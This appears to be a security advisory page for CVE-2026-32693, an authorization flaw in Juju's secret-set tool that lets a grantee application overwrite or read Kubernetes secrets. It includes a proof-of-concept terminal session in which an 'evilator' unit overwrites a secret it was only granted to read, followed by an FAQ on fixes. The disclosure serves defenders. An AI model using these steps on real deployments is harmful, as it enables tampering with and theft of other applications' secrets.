CVE-2026-32693: Unauthorized access to Kubernetes secrets in Juju
Summary
Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy. Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.
Details
When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.
Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.
PoC
Tested: - two applications in the same controller, same model: one owns the secret, another get a grant - relation between them - secret grant - Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI
Not tested: - admin (user) secrets - cross-model relations - cross-controller relations
command ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value" secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0 ingress2/0: workload-version: 24.2.0 opened-ports: [] charm: ch:amd64/nginx-ingress-integrator-203 leader: true life: alive relation-info: - relation-id: 11 endpoint: ingress related-endpoint: ingress application-data: {} related-units: evilator/0: in-scope: true data: egress-subnets: 10.152.183.39/32 ingress-address: 10.152.183.39 private-address: 10.152.183.39 - relation-id: 10 endpoint: nginx-peers related-endpoint: nginx-peers application-data: {} local-unit: in-scope: true data: egress-subnets: 10.152.183.135/32 ingress-address: 10.152.183.135 private-address: 10.152.183.135 provider-id: ingress2-0 address: 10.1.0.100 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" updating secrets: permission denied ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" nice: who-is-nice-now
When the grantee attempts to update the the granted secret:
- secret-set command logs an error, though returns OK return status - the secret value is updated - new secret revision is not created - new value is visible to both owner and grantee
Impact
- the application that owns the secret - a third application, if a secret is granted to multiple parties - any other application that has secrets in the same Kubernetes secret backend
Other sources
In Juju from version 3.0.0 through 3.6.18, the authorization of the "secret-set" tool is not performed correctly, which allows a grantee to update the secret content, and can lead to reading or updating other secrets. When the "secret-set" tool logs an error in an exploitation attempt, the secret is still updated contrary to expectations, and the new value is visible to both the owner and the grantee.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-32693?
CVE-2026-32693 is considered a medium severity vulnerability due to its potential to allow unauthorized access to Kubernetes secrets.
How do I fix CVE-2026-32693?
To fix CVE-2026-32693, it is recommended to upgrade Juju to a version later than 3.6.18.
What are the consequences of CVE-2026-32693?
The consequences of CVE-2026-32693 include unauthorized reading and updating of Kubernetes secrets, which can compromise sensitive data.
Which versions of Juju are affected by CVE-2026-32693?
Juju versions from 3.0.0 to 3.6.18 are affected by CVE-2026-32693.
What does CVE-2026-32693 involve?
CVE-2026-32693 involves improper authorization in the "secret-set" tool within Juju, leading to potential manipulation of secret contents.